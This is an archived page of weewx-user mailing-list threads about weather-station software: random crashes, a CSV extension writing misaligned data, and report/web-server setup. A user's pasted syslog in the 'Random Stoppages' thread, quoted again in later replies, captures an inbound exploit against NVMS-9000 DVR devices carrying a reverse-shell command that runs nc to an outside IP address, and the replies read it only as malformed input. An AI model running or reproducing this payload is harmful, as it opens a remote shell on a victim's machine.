[weewx-user] Re: Random Stoppages

2019-10-14 Thread mwall 
On Monday, October 14, 2019 at 9:57:33 PM UTC-4, K Weaver wrote:
>
> I can run for days  and all of a sudden it will randomly stop.   What does 
> this syslog indicate?
>

whatever the interceptor is talking to is *not* providing the standard http 
GET or POST output that the interceptor expects

you're getting raw XML, and the interceptor barfs on it, since it is 
expecting a bunch of name-value pairs in cgi format

can't really tell what is causing it without knowing exactly how your 
network and devices are configured, including the interceptor configuration

i supposed i could make the interceptor immune to this, but that would just 
hide the problem, and you would still end up with gaps in your data

m

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/2a3706fa-d357-42f1-abcc-19923c38f0e4%40googlegroups.com.

[weewx-user] Re: Random Stoppages

2019-10-14 Thread K Weaver 

I am running the most recent version of Weewx with The Belchertown skin.  I 
have an acurite 5 N 1 with a smart hub..

http://mosscreekweather.org/weewx



On Monday, October 14, 2019 at 9:57:33 PM UTC-4, K Weaver wrote:
>
> I can run for days  and all of a sudden it will randomly stop.   What does 
> this syslog indicate?
>
>
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: ServerThread: POST: 
>  systemType="NVMS-9000" 
> clientType="WEB">refuseallowipiprangemactrue  
> type="filterTypeMode">refuse type="list"> type="addressType"/>trueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: raw data: 
>  systemType="NVMS-9000" 
> clientType="WEB">refuseallowipiprangemactrue  
> type="filterTypeMode">refuse type="list"> type="addressType"/>trueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Main loop exiting. 
> Shutting engine down.
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Shutting down StdReport 
> thread
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: StdReport thread has been 
> terminated
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down WeatherCloud 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down MQTT thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down AWEKAS thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down CWOP thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down PWSWeather thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down Wunderground-PWS 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down StationRegistry 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: shutting 
> down server thread
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: stop tcp 
> server
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Caught unrecoverable 
> exception in engine:
> Oct 14 21:44:29 raspberrypi weewx[662]:   too many values to unpack
> Oct 14 21:44:29 raspberrypi weewx[662]:   Traceback (most recent 
> call last):
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/weewx/engine.py", line 894, in main
> Oct 14 21:44:29 raspberrypi weewx[662]:   engine.run()
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/weewx/engine.py", line 188, in run
> Oct 14 21:44:29 raspberrypi weewx[662]:   for packet in 
> self.console.genLoopPackets():
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 2230, in genLoopPackets
> Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
> self._device.parser.parse(data)
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 898, in parse
> Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
> self.parse_chaney(s)
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 955, in parse_chaney
> Oct 14 21:44:29 raspberrypi weewx[662]:   (n, v) = x.split('=')
> Oct 14 21:44:29 raspberrypi weewx[662]:   ValueError: too many 
> values to unpack
> Oct 14 21:44:29 raspberrypi weewx[662]:   Exiting.
> Oct 14 21:45:01 raspberrypi CRON[7233]: (root) CMD (~/duckdns/duck.sh 
> >/dev/null 2>&1)
> Oct 14 21:45:01 raspberrypi CRON[7234]: (pi) CMD (~/duckdns/duck.sh 
> >/dev/null 2>&1)
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]:

[weewx-user] Re: Random Stoppages

2019-10-14 Thread K Weaver 
I am running the most recent version of Weewx with The Belchertown skin.  I 
have an acurite 5 N 1 with a smart hub..

On Monday, October 14, 2019 at 9:57:33 PM UTC-4, K Weaver wrote:
>
> I can run for days  and all of a sudden it will randomly stop.   What does 
> this syslog indicate?
>
>
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: ServerThread: POST: 
>  systemType="NVMS-9000" 
> clientType="WEB">refuseallowipiprangemactrue  
> type="filterTypeMode">refuse type="list"> type="addressType"/>trueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: raw data: 
>  systemType="NVMS-9000" 
> clientType="WEB">refuseallowipiprangemactrue  
> type="filterTypeMode">refuse type="list"> type="addressType"/>trueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Main loop exiting. 
> Shutting engine down.
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Shutting down StdReport 
> thread
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: StdReport thread has been 
> terminated
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down WeatherCloud 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down MQTT thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down AWEKAS thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down CWOP thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down PWSWeather thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down Wunderground-PWS 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down StationRegistry 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: shutting 
> down server thread
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: stop tcp 
> server
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Caught unrecoverable 
> exception in engine:
> Oct 14 21:44:29 raspberrypi weewx[662]:   too many values to unpack
> Oct 14 21:44:29 raspberrypi weewx[662]:   Traceback (most recent 
> call last):
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/weewx/engine.py", line 894, in main
> Oct 14 21:44:29 raspberrypi weewx[662]:   engine.run()
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/weewx/engine.py", line 188, in run
> Oct 14 21:44:29 raspberrypi weewx[662]:   for packet in 
> self.console.genLoopPackets():
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 2230, in genLoopPackets
> Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
> self._device.parser.parse(data)
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 898, in parse
> Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
> self.parse_chaney(s)
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 955, in parse_chaney
> Oct 14 21:44:29 raspberrypi weewx[662]:   (n, v) = x.split('=')
> Oct 14 21:44:29 raspberrypi weewx[662]:   ValueError: too many 
> values to unpack
> Oct 14 21:44:29 raspberrypi weewx[662]:   Exiting.
> Oct 14 21:45:01 raspberrypi CRON[7233]: (root) CMD (~/duckdns/duck.sh 
> >/dev/null 2>&1)
> Oct 14 21:45:01 raspberrypi CRON[7234]: (pi) CMD (~/duckdns/duck.sh 
> >/dev/null 2>&1)
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100

[weewx-user] Re: Installed extension and edited config, but still shows simulator

2019-10-14 Thread gjr80 
The reason you cannot find any reports is that none are being produced, you 
need to look back earlier to see why. These lines indicate that WeeWX is 
saving something to the database:

Oct 14 14:05:17 raspberrypi weewx[8036]: manager: Added record 2019-10-14 
14:05:00 MDT (1571083500) to database 'weewx.sdb' 
Oct 14 14:05:18 raspberrypi weewx[8036]: manager: Added record 2019-10-14 
14:05:00 MDT (1571083500) to daily summary in 'weewx.sdb'

That is a step forward from yesterday. There should be some lines similar to 
these appear next as the WeeWX report cycle executes, what you see will depend 
on your system but there should be something not nothing:

Oct 13 06:25:22 aurora weewx[21977]: cheetahgenerator: Generated 6 files for 
report SeasonsAuroraReport in 1.28 seconds
Oct 13 06:25:23 aurora weewx[21977]: imagegenerator: Generated 7 images for 
SeasonsAuroraReport in 0.52 seconds
Oct 13 06:25:23 aurora weewx[21977]: copygenerator: copied 0 files to 
/home/weewx/public_html
Oct 13 06:25:24 aurora weewx[21977]: rsyncupload: rsync'd 13 files (120,985 
bytes) in 0.88 seconds

The following indicates you have an issue with pressure data from the 
station/driver:

Oct 14 14:05:26 raspberrypi weewx[8036]: engine: 2019-10-14 14:05:24 MDT 
(1571083524) LOOP value 'pressure' 21.92306272 outside limits (24.0, 34.5)

Could be anyone of a number of issues but I would leave that for the moment and 
get WeeWX working with the driver and producing output.

I would edit weewx.conf and set debug = 1, save weewx.conf and restart WeeWX. 
Let WeeWX run for a couple of archive periods and then post the log from 
startup making sure you include the WeeWX startup sequence and the couple of 
archive periods of activity. You might want to set log_raw_packets = False 
under [WeatherFlowUDP] in weewx.conf to cut down a bit of log output, setting 
debug = 1 will make the log more chatty.

Gary


On Tuesday, 15 October 2019 11:27:38 UTC+10, Timothy Buchanan wrote:
>
> I answered my last question by myself. starting weewx not as daemon gives 
> me data. everything seems to be there except pressure, altimeter and 
> barometer. That may have to do with the altitude here (8500 feet), although 
> I put that into the config file. If you can advise me where index.html 
> normally is kept (the main directory is /home/weewx), then I will try to 
> figure out how to get nginx to look there.
>
> On Monday, October 14, 2019 at 6:17:58 PM UTC-6, vince wrote:
>>
>> On Monday, October 14, 2019 at 4:27:11 PM UTC-7, Timothy Buchanan wrote:
>>>
>>> Ok, here is an extract from the syslog, from 14:04:53 when weewx 
>>> started, to 14:26:20 when it stopped. It was running as daemon with log raw 
>>> packets true. Also attached is the weewx.conf file. What can you tell from 
>>> these? Thanks.
>>>
>>>
>> Looks like it's hearing the station quite fine.   What is the problem at 
>> this time ?
>>
>> My guess (guess) is that you have your weewx.conf set to put the output 
>> in one place, and your web server (if there is one installed) to look in a 
>> different place for the data.
>>
>> This is a very unusual place for HTML files
>> HTML_ROOT = /var/weewx/reports
>>
>> See if there is anything in there with current timestamps.  Open the 
>> index.html there in a browser and see what it looks like.
>>
>>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/502a3f67-858d-4d1c-84c2-a2a55682965a%40googlegroups.com.

[weewx-user] Random Stoppages

2019-10-14 Thread K Weaver 
I can run for days  and all of a sudden it will randomly stop.   What does 
this syslog indicate?


Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: ServerThread: POST: 
refuseallowipiprangemactruerefusetrueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: raw data: 
refuseallowipiprangemactruerefusetrueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
Oct 14 21:44:29 raspberrypi weewx[662]: engine: Main loop exiting. Shutting 
engine down.
Oct 14 21:44:29 raspberrypi weewx[662]: engine: Shutting down StdReport 
thread
Oct 14 21:44:29 raspberrypi weewx[662]: engine: StdReport thread has been 
terminated
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down WeatherCloud 
thread.
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down MQTT thread.
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down AWEKAS thread.
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down CWOP thread.
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down PWSWeather thread.
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down Wunderground-PWS 
thread.
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down StationRegistry 
thread.
Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: shutting 
down server thread
Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: stop tcp 
server
Oct 14 21:44:29 raspberrypi weewx[662]: engine: Caught unrecoverable 
exception in engine:
Oct 14 21:44:29 raspberrypi weewx[662]:   too many values to unpack
Oct 14 21:44:29 raspberrypi weewx[662]:   Traceback (most recent 
call last):
Oct 14 21:44:29 raspberrypi weewx[662]: File 
"/usr/share/weewx/weewx/engine.py", line 894, in main
Oct 14 21:44:29 raspberrypi weewx[662]:   engine.run()
Oct 14 21:44:29 raspberrypi weewx[662]: File 
"/usr/share/weewx/weewx/engine.py", line 188, in run
Oct 14 21:44:29 raspberrypi weewx[662]:   for packet in 
self.console.genLoopPackets():
Oct 14 21:44:29 raspberrypi weewx[662]: File 
"/usr/share/weewx/user/interceptor.py", line 2230, in genLoopPackets
Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
self._device.parser.parse(data)
Oct 14 21:44:29 raspberrypi weewx[662]: File 
"/usr/share/weewx/user/interceptor.py", line 898, in parse
Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
self.parse_chaney(s)
Oct 14 21:44:29 raspberrypi weewx[662]: File 
"/usr/share/weewx/user/interceptor.py", line 955, in parse_chaney
Oct 14 21:44:29 raspberrypi weewx[662]:   (n, v) = x.split('=')
Oct 14 21:44:29 raspberrypi weewx[662]:   ValueError: too many 
values to unpack
Oct 14 21:44:29 raspberrypi weewx[662]:   Exiting.
Oct 14 21:45:01 raspberrypi CRON[7233]: (root) CMD (~/duckdns/duck.sh 
>/dev/null 2>&1)
Oct 14 21:45:01 raspberrypi CRON[7234]: (pi) CMD (~/duckdns/duck.sh 
>/dev/null 2>&1)
Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
24:c8:6e:09:36:cb
Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
24:c8:6e:09:36:cb
Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
24:c8:6e:09:36:cb
Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
24:c8:6e:09:36:cb
Oct 14 21:50:01 raspberrypi CRON[7293]: (pi) CMD (~/duckdns/duck.sh 
>/dev/null 2>&1)
Oct 14 21:50:01 raspberrypi CRON[7294]: (root) CMD (~/duckdns/duck.sh 
>/dev/null 2>&1)
Oct 14 21:51:24 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:51:24 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:51:24 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
192.168.6.100

[weewx-user] Re: CSV extension writing bad data

2019-10-14 Thread Pat 
I've never played with this extension, but I just installed it and copied 
your weewx.conf [CSV] settings. It appears to be working fine for me on 
3.9.2 - my outTemp field is correct (see below). It's 49F outside and 
that's what's in the CSV.

Is there anything in your syslog that would point to an error? Perhaps set 
debug = 1 in weewx.conf, restart and let it run for a few archive intervals 
and see if anything comes up. 

Are you running another skin to make sure that weewx is seeing your outTemp 
correctly? Ruling out a bad sensor?

What if you run weewxd manually 
and check that the LOOP packets are what you'd expect them to be?


# 
dateTime,maxSolarRad,outTemp,rainRate,txBatteryStatus,usUnits,windDir,windSpeed,windchill
1571103610,0.0,49.4,0,0,1,None,0.0,49.4
1571103612,0.0,0.0,0,0,1,None,0.0
1571103615,0.0,0.0,0,1,None,0.0
1571103617,0.0,0.0,0,0,1,None,0.0
1571103620,0.0,49.4,0,0,1,None,0.0,49.4
1571103625,0.0,0.0,0,1,None,0.0
1571103627,30.0690643936,47.1460416382,44.15,69.98,0.0,29.6138526645,0,1



On Monday, October 14, 2019 at 9:35:50 PM UTC-4, Dave wrote:
>
> I recently upgraded weewx to 3.9.2. Now it appears the CSV extension is 
> writing bad data. I like the fact that it stops writing the key line every 
> time but now the data doesn't match the key. 
>
> For those who might need a reminder, the key line looks like this:
> # 
> dateTime,altimeter,appTemp,barometer,channel,cloudbase,dewpoint,heatindex,humidex,inTemp,maxSolarRad,outHumidity,outTemp,outTempBatteryStatus,pressure,rainRate,rssi,rxCheckPercent,sensor_battery,sensor_id,usUnits,windSpeed,windchill
>
> Next you get lines of data like so:
>
>
> 1571077878,75.1909422213,None,3733.59877061,57.2421654093,72.9,78.9824045747,None,58,72.9,0,0,3,100.0,0,1228,1,None,0.0,72.9
>
> 1571077931,29.9314717722,None,76.19,None,0,29.7514624062,None,0,110.4646,3,100.0,0,1228,1,180.0,3.70760684504
>
> 1571077949,74.1763675742,None,3850.99831681,57.225607406,73.4,79.472688903,None,57,73.4,0,0,3,100.0,0,1228,1,2.67886214224,73.4
>
>
> Astute readers will note that "outTemp" is 3 degrees. This is southern 
> california. ;)
>
> I've no idea how to begin to debug this. A wee_debug info is attached. 
> Thanks in advance for any assistance. 
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/280a8908-1aae-4c0d-b22d-3b4d397c29cb%40googlegroups.com.

[weewx-user] CSV extension writing bad data

2019-10-14 Thread Dave 
I recently upgraded weewx to 3.9.2. Now it appears the CSV extension is 
writing bad data. I like the fact that it stops writing the key line every 
time but now the data doesn't match the key. 

For those who might need a reminder, the key line looks like this:
# 
dateTime,altimeter,appTemp,barometer,channel,cloudbase,dewpoint,heatindex,humidex,inTemp,maxSolarRad,outHumidity,outTemp,outTempBatteryStatus,pressure,rainRate,rssi,rxCheckPercent,sensor_battery,sensor_id,usUnits,windSpeed,windchill

Next you get lines of data like so:

1571077878,75.1909422213,None,3733.59877061,57.2421654093,72.9,78.9824045747,None,58,72.9,0,0,3,100.0,0,1228,1,None,0.0,72.9
1571077931,29.9314717722,None,76.19,None,0,29.7514624062,None,0,110.4646,3,100.0,0,1228,1,180.0,3.70760684504
1571077949,74.1763675742,None,3850.99831681,57.225607406,73.4,79.472688903,None,57,73.4,0,0,3,100.0,0,1228,1,2.67886214224,73.4


Astute readers will note that "outTemp" is 3 degrees. This is southern 
california. ;)

I've no idea how to begin to debug this. A wee_debug info is attached. 
Thanks in advance for any assistance. 

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/384313eb-f1dd-4f67-9e6e-7981d2346afe%40googlegroups.com.
Using verbosity=1, displaying most info

wee_debug output will be sent to stdout(console)

Using configuration file /usr/local/weewx/weewx.conf
Using database binding 'wx_binding', which is bound to database 'archive_sqlite'

System info
  Platform:   FreeBSD-11.3-PRERELEASE-amd64-64bit-ELF
  Python Version: 2.7.16

Load Information
  1 minute load average:  0.11
  5 minute load average:  0.06
  15 minute load average: 0.05

General Weewx info
  Weewx version 3.9.2 detected.

Station info
  Station type: AcuRite
  Driver:   weewx.drivers.acurite

Driver info
[AcuRite]
# This section is for AcuRite weather stations.

# The station model, e.g., 'AcuRite 01025' or 'AcuRite 02032C'
model = AcuRite 02064C

# The driver to use:
driver = weewx.drivers.acurite

Currently installed extensions
Extension NameVersion   Description
csv   0.10  Emit loop or archive data in CSV format.

Archive info
  Database name:/var/db/weewx/weewx.sdb
  Table name:   archive
  Version   2.0
  Unit system:  1 (US)
  First good timestamp: 2019-10-14 11:50:00 PDT (1571079000)
  Last good timestamp:  2019-10-14 18:30:00 PDT (1571103000)
  Number of records:80
  weewx (weewx.conf) is set to use an archive interval of 300 seconds.
  The station hardware was not interrogated in determining archive interval.

Databases configured in weewx.conf
  Database name:/var/db/weewx/weewx.sdb
  Database driver:  weedb.sqlite

  Database name:weewx
  Database driver:  weedb.mysql
  Database host:localhost


Parsed and obfuscated weewx.conf
# WEEWX CONFIGURATION FILE
#
# Copyright (c) 2009-2019 Tom Keffer 
# See the file LICENSE.txt for your rights.

##

# This section is for general configuration information.

# Set to 1 for extra debug info, otherwise comment it out or set to zero
debug = 1

# Root directory of the weewx data file hierarchy for this station
WEEWX_ROOT = /usr/local/weewx

# Whether to log successful operations
log_success = True

# Whether to log unsuccessful operations
log_failure = True

# How long to wait before timing out a socket (FTP, HTTP) connection
socket_timeout = 20

# Do not modify this. It is used when installing and updating weewx.
version = 3.9.2

##

#   This section is for information about the station.

[Station]

# Description of the station location
location = JetCafe

# Latitude and longitude in decimal degrees
latitude = 34.0
longitude = -118.0

# Altitude of the station, with unit it is in. This is downloaded from
# from the station if the hardware supports it.
altitude = 175, foot# Choose 'foot' or 'meter' for unit

# Set to type of station hardware. There must be a corresponding stanza
# in this file with a 'driver' parameter indicating the driver to be used.
station_type = AcuRite

# If you have a website, you may specify an URL
#station_url = http://www.example.com

# The start of the rain year (1=January; 10=October, etc.). This is
# downloaded from the station if the hardware supports it.
rain_year_start = 1

# Start of week (0=Monday, 6=Sunday)
week_start = 6

##

[AcuRite]
# This section is for AcuRite

[weewx-user] Re: Installed extension and edited config, but still shows simulator

2019-10-14 Thread Timothy Buchanan 
I answered my last question by myself. starting weewx not as daemon gives 
me data. everything seems to be there except pressure, altimeter and 
barometer. That may have to do with the altitude here (8500 feet), although 
I put that into the config file. If you can advise me where index.html 
normally is kept (the main directory is /home/weewx), then I will try to 
figure out how to get nginx to look there.

On Monday, October 14, 2019 at 6:17:58 PM UTC-6, vince wrote:
>
> On Monday, October 14, 2019 at 4:27:11 PM UTC-7, Timothy Buchanan wrote:
>>
>> Ok, here is an extract from the syslog, from 14:04:53 when weewx started, 
>> to 14:26:20 when it stopped. It was running as daemon with log raw packets 
>> true. Also attached is the weewx.conf file. What can you tell from these? 
>> Thanks.
>>
>>
> Looks like it's hearing the station quite fine.   What is the problem at 
> this time ?
>
> My guess (guess) is that you have your weewx.conf set to put the output in 
> one place, and your web server (if there is one installed) to look in a 
> different place for the data.
>
> This is a very unusual place for HTML files
> HTML_ROOT = /var/weewx/reports
>
> See if there is anything in there with current timestamps.  Open the 
> index.html there in a browser and see what it looks like.
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/18b04124-3cd8-4682-908d-d45ff9cfebb3%40googlegroups.com.

[weewx-user] Re: Installed extension and edited config, but still shows simulator

2019-10-14 Thread Timothy Buchanan 
I was following nginx server instructions I found, which were as follows:

   1. At this point WeeWX is technically installed, however many 
